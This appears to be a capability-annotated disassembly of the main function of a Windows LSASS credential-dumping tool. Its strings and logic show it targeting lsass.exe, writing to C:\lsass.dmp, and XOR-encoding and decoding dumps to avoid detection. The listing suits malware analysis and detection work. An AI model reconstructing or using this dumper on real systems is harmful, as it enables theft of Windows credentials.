Function at 0x140001130
Capabilities:
Encode data using xor
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x88], rax
movups xmm0, xmmword [str.C:lsass.dmp]
movzx eax, word [0x140022840]
lea r12, [rsp + 0x58]
mov esi, ecx
mov word [rsp + 0x70], ax
xor ecx, ecx
lea rax, [rsp + 0x78]
movups xmmword [rsp + 0x58], xmm0
mov ebx, 1
mov edi, 0xffffffff
movsd xmm0, qword [0x140022838]
mov r14, rdx
movsd qword [rsp + 0x68], xmm0
mov ebp, 0x28
mov dword [rsp + 0x48], ecx
mov r15d, edi
mov qword [rsp + 0x40], rax
mov r8d, ecx
mov r13d, ecx
movups xmm0, xmmword [str.cmd.exe]
movups xmmword [rsp + 0x78], xmm0
cmp esi, ebx
jle 0x1400013cf
movsxd rax, ebx
lea rdx, [0x140000000]
mov rcx, qword [r14 + rax*8]
cmp word [rcx], 0x2d
jne 0x14000129d
movzx eax, word [rcx + 2]
add eax, 0xffffff9d
cmp eax, 0xd
ja case.0x140001201.101
cdqe
mov ecx, dword [rdx + rax*4 + 0x14c8]
add rcx, rdx
jmp rcx
inc ebx
movsxd rcx, ebx
mov rcx, qword [r14 + rcx*8]
call fcn.140007038
mov r8d, dword [rsp + 0x48]
mov r15d, eax
jmp 0x140001285
inc ebx
movsxd rax, ebx
mov rcx, qword [r14 + rax*8]
test rcx, rcx
je case.0x140001201.101
call fcn.140007038
mov r8d, dword [rsp + 0x48]
mov edi, eax
jmp 0x140001285
inc ebx
movsxd rax, ebx
mov r12, qword [r14 + rax*8]
jmp 0x140001285
inc ebx
movsxd rax, ebx
mov rdx, qword [r14 + rax*8]
mov qword [rsp + 0x40], rdx
jmp 0x14000128a
inc ebx
movsxd rcx, ebx
mov rcx, qword [r14 + rcx*8]
call fcn.140007038
mov r8d, dword [rsp + 0x48]
mov ebp, eax
jmp 0x140001285
mov r8d, 1
inc ebx
mov dword [rsp + 0x48], r8d
jmp 0x140001285
inc ebx
movsxd rax, ebx
mov r13, qword [r14 + rax*8]
mov rdx, qword [rsp + 0x40]
mov eax, 0xfffffffe
inc ebx
add esi, eax
cmp esi, 1
jle 0x1400012a2
jmp 0x1400011cd
mov rdx, qword [rsp + 0x40]
mov qword [rsp + 0x40], rdx
mov eax, ebp
mov dword [rsp + 0x48], r8d
test ebp, ebp
js 0x1400014b1
cmp eax, 0xff
jg 0x1400014b1
test r13, r13
je 0x1400013c9
mov ecx, 0x12c00000
call fcn.14000b6c0
xor esi, esi
xor r9d, r9d
mov qword [rsp + 0x30], rsi
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov edx, 0xc0000000
mov rcx, r13
mov dword [rsp + 0x20], 3
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001497
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], rsi
mov r8d, 0x12c00000
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, esi
cmp dword [rsp + 0x48], ecx
jbe 0x14000134e
nop dword [rax]
nop word [rax + rax]
mov eax, ecx
inc ecx
xor byte [rax + rbx], bpl
cmp ecx, dword [rsp + 0x48]
jb 0x140001340
cmp byte [rbx], 0x4d
jne 0x1400013a7
cmp byte [rbx + 1], 0x44
jne 0x1400013a7
cmp byte [rbx + 2], 0x4d
jne 0x1400013a7
cmp byte [rbx + 3], 0x50
jne 0x1400013a7
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov r8d, dword [rsp + 0x48]
lea r9, [rsp + 0x50]
mov rdx, rbx
mov qword [rsp + 0x20], rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
lea rdx, str.Cannot_decrypt_dump_file__S_n
lea rcx, str.Lsass_dump_decrypted_succesfully._Now_you_can_parse_it_correctly._Decrypted_dump_path:__S_n
cmove rcx, rdx
jmp 0x1400013ae
lea rcx, str.Cannot_decrypt_dump_file__S._Wrong_XOR_key..._n
mov rdx, r13
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14000b6b0
jmp 0x140001434
cmp r15d, 0xffffffff
jne 0x1400013ef
lea rcx, str.Windows_system32lsass.exe
call fcn.140002cf0
mov r15d, eax
cmp edi, 0xffffffff
jne 0x1400013ea
mov edi, 3
jmp 0x1400013f3
mov rdx, qword [rsp + 0x40]
test edi, edi
jle 0x14000142c
cmp dword [rsp + 0x48], 0
mov rdx, r12
mov ecx, r15d
je 0x140001416
cmp edi, 1
mov esi, 0
seta sil
mov r8d, esi
call fcn.140002940
jmp 0x140001434
cmp edi, 3
jne 0x140001425
mov r8d, ebp
call fcn.140001f90
jmp 0x140001434
call fcn.140001c60
jmp 0x140001434
mov ecx, r15d
call fcn.1400018e0
xor eax, eax
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140002ec0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call fcn.140002e60
xor ecx, ecx
call fcn.140006600
int3
movsxd rdx, ebx
lea rcx, str.Wrong_Argument:__S_n
mov rdx, qword [r14 + rdx*8]
call fcn.140001010
call fcn.140002e60
mov ecx, 0xffffffff
call fcn.140006600
int3
mov rdx, r13
lea rcx, str.Cannot_open_file__S._Exiting..._n
call fcn.140001010
mov ecx, 1
call fcn.140006600
int3
lea rcx, str.The_Xor_key_must_be_between_1_and_255._n
call fcn.140001010
mov ecx, 0xffffffff
call fcn.140006600
int3